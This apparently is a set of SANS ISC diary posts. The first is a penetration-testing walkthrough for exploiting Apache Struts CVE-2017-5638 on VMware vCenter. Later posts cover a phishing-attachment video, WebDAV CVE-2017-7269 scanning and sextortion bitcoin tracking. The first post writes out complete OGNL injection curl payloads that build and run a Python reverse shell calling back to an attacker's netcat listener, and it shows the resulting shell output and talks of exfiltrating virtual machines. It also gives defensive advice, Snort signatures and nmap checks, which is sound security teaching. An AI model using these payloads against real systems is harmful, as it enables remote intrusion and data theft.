Replace "vSphereIP" with your target host ip or dns name, and "evil command goes here" with your evil command.

Let's take things one step further - referencing Mark Baggett's most excellent one line reverse shell:

Using the Struts vulnerability I wasn't able to get everything escaped out correctly, so I broke it into 3 injected commands.  In this example, the vCenter server is at, the attacker is a Linux host at  The callback host is the attacker, but it could just as easily be a $evilserver on the public internet.
The first two injected commands create a python file:

echo import socket;import subprocess ;s=socket.socket() ;s.connect(("",9000)) > %temp%/
echo while 1: p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); s.send( + >>%temp%/

The third command executes the file:

python %temp%/

The full sequence of commands as executed on the Linux host are:
first, on the target for the reverse shell (on your internet $evilserver) set up the listener:

evilserver# nc -l -p 9000

Next, from your attacking host, create the python script on the vCenter server:

curl -v -k -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd = 'echo import socket;import subprocess ;s=socket.socket() ;s.connect(("",9000)) > %temp%/').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

curl -v -k -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd = 'echo while 1: p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); s.send( + >>%temp%/').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

Finally, run your script on the vCenter host:

curl -v -k -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd = 'python %temp%/').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

After which we have a full shell on our listening $evilserver:

root@kali:~# nc -l -p 9000
nt service\vmware-perfcharts
Volume in drive C has no label.
Volume Serial Number is DCD1-1A36

Directory of C:\Program Files\VMware\vCenter Server\perfcharts\wrapper\bin

  1. 12:49 PM <DIR> .
    12:49 PM <DIR> ..
    04/10/2015 11:57 AM 1,121 heapsize_wrapper.bat
    04/10/2015 11:57 AM 4,473 InstallPerfCharts.bat
    04/10/2015 11:57 AM 4,475 QueryPerfCharts.bat
    04/10/2015 11:57 AM 4,475 StartPerfCharts.bat
    04/10/2015 11:57 AM 4,475 StopPerfCharts.bat
    04/10/2015 11:57 AM 4,475 UninstallPerfCharts.bat
    04/10/2015 11:57 AM 629,016 wrapper.exe
    7 File(s) 652,510 bytes
    2 Dir(s) 14,066,507,776 bytes free

Microsoft Windows [Version 6.3.9600]

At this point you have a shell, not a terminal.  This means that an interactive powershell session won't work, but WMIC commands will work, as well as anything else that'll run in a shell rather that a TTY:

wmic qfe list brief
Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status
Update KB2919355 VC\Administrator 3/21/2014
Update KB2919442 VC\Administrator 3/21/2014
Update KB2937220 VC\Administrator 3/21/2014
Update KB2938772 VC\Administrator 3/21/2014
Update KB2939471 VC\Administrator 3/21/2014
Hotfix KB2949621 VC\Administrator 3/21/2014

So will executing a fully formed PowerShell script (you'll likely need to bypass the execution policy though)

Would this have worked on the vCenter virtual appliance?  You Betcha!  The script to exploit the Struts vulnerability has a nifty OS detection thing - it'll work on pretty much any popular OS that supports Struts.  We would have had to modify the host firewall to allow the outbound tcp/9000 first on a virtual appliance vCenter though.

So where do we go from here?  First of all, before running any of the fun 'sploits-n-shells stuff, you need to contact your client and get permission - messing around with vSphere in a penetration test is most often something folks are NOT on-board with.   Most often, after detection I'll get permission to run the rest of this exercise in my lab, using the save versions of vSphere and vCenter that the client is running (hint - you can easily stand ESXi and vCenter up inside of VMware Workstation).

Now that we have a shell, what can we do?  Well, pretty much anything, up to an including exfiltrating entire virtual disks, or the whole VM if that makes the point better in your penetration test (you'll need some privilege escallation first for that - you are starting with NT SERVICE rights - the virtual account is "NT SERVICE\vmware-perfcharts").  

Again, if you get this far on a production server, you DEFINITELY need permission to exfiltrate a VM (or any portion thereof) - odds are vanishingly small that you'll get permission to exfiltrate it, or if you do, it'll be to a machine inside the firewall that's under your client's control.

Other products that are vulnerable?
There are other vendor products that are vulnerable - Cisco for instance has a complete list here - most major vendors have their own list for this specific issue:
The product that I see most often in penetration tests (besides vCenter) is Cisco Identity Services Engine (ISE) - this is a fun one to exploit, since that's normally where you see 802.1x authentication of users and workstations for wired and especially wireless access happen.

Cool exploit, but the findings in the report shouldn't have anything to do with the exploit, the specific patch or stealing virtual machines or credentials from wireless sessions.  What should your client consider to protect against something like this?

Most importantly, for prevention:
An accurate OS and Software inventory should be maintained across the enterprise (CIS Critical Controls 1 & 2)

A patching schedule should be maintained for Servers, Workstations and Critical Infrastructure, then you should be meeting that schedule as part of  your regular IT operations (CIS Critical Control 3).  You want to patch these as they come up, or else it's easy to forget to come back to them later - putting these off tends to lead to vulnerabilities in the dusty corners of your infrastructure that fester for years, or until an internal assessment or pentest shines a light on them.

Administrative hosts such as vCenter, ESXi hosts and similar should be on a dedicated network segment (CIS Critical Controls 9,14), which should be firewalled away from user networks and most server networks (CIS Critical Controls 9,11,12) .  All too often the receptionist has network reachability to these hosts (as do unattended ethernet ports in the meeting rooms or the wireless SSID that has the easily cracked or recovered pre-shared key).

You'll likely want several "admin / infrastructure" network segments.  Likely you don't want your BMC (iLo, iDRAC or other server admin consoles) on the same segment as anything for instance.
Even without segmentation, lots of infrastructure will have an integrated firewall (ESXi, vCenter, most network infrastructure just to start), so that only known administrative stations can access them - these should be configured where possible (CIS Critical Controls 3,5,7,9,11)
F‌inally, admin logins should be logged.  In many cases, admin logins outside of backup or change windows should generate alerts - admin logins to routers, switches should be infrequent enough for that, often firewalls too for instance.  (CIS Critical Controls 4,6,16)

For detection:
Your IPS will definitely catch this attack, but if it's an HTTPS site (which it almost always is), ONLY if you are decrypting that flow.  Also, your IPS needs to be able to "see" the traffic.  If this attack is from an internal server or workstation to a target server, your IPS may not "see" this at all.  If it is in line though, and it is decrypting, then Snort for instance will catch this using one of the following SIDs:

(1:41818) SERVER-APACHE Apache Struts remote code execution attempt
(1:41819) SERVER-APACHE Apache Struts remote code execution attempt
(1:41922) SERVER-APACHE Apache Struts remote code execution attempt
(1:41923) SERVER-APACHE Apache Struts remote code execution attempt

Logs on vulnerable server have a shot at catching this also, but in most cases, don't hold your breath.  You don't usually have the full component logs for larger apps that use sub-components like Struts.

Scanning (Hunting):
Scanning for this vulnerability "on the wire" can be problematic.  NMAP has a script for this, but you need the exact path to the vulnerable part of the site, which will very from product to product, site by site.    

nmap.exe -p 443 --script http-vuln-cve2017-5638 --script-args path=/statsreport

Starting Nmap 7.70 ( ) at 2019-01-21 19:11 EDT
Nmap scan report for
Host is up (0.00s latency).
443/tcp open https
MAC Address: 00:0C:29:C3:4D:9D (VMware)
| http-vuln-cve2017-5638:
| Apache Struts Remote Code Execution Vulnerability
| IDs: CVE:CVE-2017-5638
| Description:
| Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
| vulnerability via the Content-Type header.
| Disclosure date: 2017-03-07
| References:

But if you don't know the vulnerable path, you won't get a hit:

nmap -p 443 --open --script http-vuln-cve2017-5638
Starting Nmap 7.70 ( ) at 2019-01-21 19:09 EST
Nmap scan report for
Host is up (0.00035s latency).

443/tcp open https
MAC Address: 00:0C:29:C3:4D:9D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

Tools like Nessus will do a better job, but if you're using Nessus, an authenticated scan is the way to go.  This will list out all the products in play on each host, any missing patches and Nessus's idea of the priority.  From that you can piece together the real vulnerabilities that you have in play and put a plan together for patching. Be prepared for a LOT more information than you need from a scan like this - you'll need to winnow through lots of duplicate and superflous information to come up with your "do this" plan.

Really, inventory, patching and network segmentation are what's going to save your bacon for most "well known" vulnerabilties of this type.  Authenticated Scanning will help the most with planning.  If your IPS is seeing this traffic on the inside, you might be too late (or not, maybe the malware that's trying this exploit isn't too smart).

Looking for more info?
To dig further into Python, look to any number of how-to sites, starting with, or for a more "evil" perspective, consider taking SANS SEC573: Automating Information Security with Python -
For the attacker / defender points of view of VMware and other Private Cloud infrastructures, look to SEC579: Virtualization and Software-Defined Security -
Your specific product will likely have a vendor hardening guide or other security guidance, often you'll find a CIS Benchmark for securing your configuration as well (vCenter has both):
And of course, the CIS Critical Controls:

Rob VandenBrink


Published: 2019-02-03

Video: Analyzing a Simple HTML Phishing Attachment

Reader Carlos submitted an email with an attachment. It's a phishing email, the attachment is an HTML file, although the criminals try to make the recipient believe that it is a PDF file.

In this video, I show how you can use my tool to extract the attachment from the email (.msg file) for further analysis, without requiring Outlook (or Windows). I give a couple of simple tips to find the phishing URL(s) quickly.

Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-02

Scanning for WebDAV PROPFIND Exploiting CVE-2017-7269

Over the last several months, I have noticed more scans for WebDAV PROPFIND showing up in my honeypot. This is likely an attempt to exploit and launch calc.exe on the server to test if the web extension exist and can be exploited. The scans have a very basic and non-standard header:

An example of the output you might see in your webserver logs would look like this:

This is a Windows Server 2003 server exploit which hasn't had any support since July 2015. According to Shodan, as of today, there are still 520,270 accessible IIS 6.0 servers on the Internet, this does not include all those air-gap server still in service.

Fortunately, most 2003 servers don't have WebDAV functionality enable but that is still a concern that so many 2003 servers are still online and have not been patched for more than 3+ years. There is a proof of concept python script located here and that can be used to test and exploit WebDAV. If successful, it will launch calc.exe. According to this write up[5], the script's payload is set up with a return-programming chain to use the overflow 3 times.


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-02-01

Sextortion: Follow the Money Part 3 - The cashout begins!

There hasn't been much to update in the several months since the Sexploitation: Follow the money updates in Diary 1 and Diary 2.  For those of you who didn't read those diaries.  When the Sextortion email campaign began in July, I asked for ISC reader submissions of the BTC addresses from that campaign so we could attempt to follow the Bitcoins created by the payments from this campaign..  By the last update in September tthe copycats were plentiful, but the payments from the original campaign were still sitting in their original BTC addresses.

Since the September update there has not been any new payments against the known BTC addresses from the original campaign. I am now tracking 434 BTC addresses.  There have been 143 payments on 56 BTC Addresses, for a total of about $105,000 USD. The Bitcoin value was nearly 3 times that when the tracking started in July, leading to speculation that the bad guys were waiting for some of that value to return before cashing out.  Well it looks like they finally got impatient. 

Over the last couple of weeks the money has started to move.  We always believed that the 400+ BTC addresses we were tracking from the original campaign, were a small fraction of the addresses used in the campaign. The consolidaton of the BTC totals, presumably with the intention of cashing out, has given a glimpse further into the scope of this campaign.

Of the tracked BTC addressed, 6 have had their balances zeroed through movement of the value to other BTC addresses. If you look at the chart below you can see those six addresses and how the payment value has moved, and consolidated, through intermediary addresses to end up in two BTC addresses.

I know that is an eyechart, but what it shows is the BTC addresses have been consolidated, through intermediary addresses, into two BTC addresses. 1AdDewXEgRFdsXh73CxQp59S4j4efGsqQb which contained about $21.5 Million USD and 3JRQWBg5TnMHUzzhUhMPCJNCMNW6cZWWP5 which contained about $18.5 Million USD.   Definitely a lucrative criminal enterprise. Keep in mind that the value that has been transferred out of those 6 BTC addresses is only about 14% of the payments, or about $15,000 USD of the $108,000 USD that I am tracking, so presumably this is just the beginning of a much bigger operation to consolidate and cash out.  This also suggests that this nearly $40 MIllion USD that has been consolidated so far is only a small portion of the total haul from this campaign.

Here is the really interesting part. The Bitcoin totals in those two consolidated addresses have also been moving out, as expected, but as part of that movement, the totals have been fragmented into smaller amounts again.  The best guess is that they are being fragmented so they can be mixed, effectively breaking the connection between where the Bitcoins originated and where they are converted to cash by mixing, or tumbling, them with other Bitcoins.  Effectively money laundering for cryptocurrencies.  I was able to find a couple of services that provide that capability. and  For as little as 0.25% they will mix, your cryptocoins with others and then spit clean ones out the other end.


Yet another essential service to the cyber-criminal enterprise.


-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - - Twitter:namedeplume (Protected)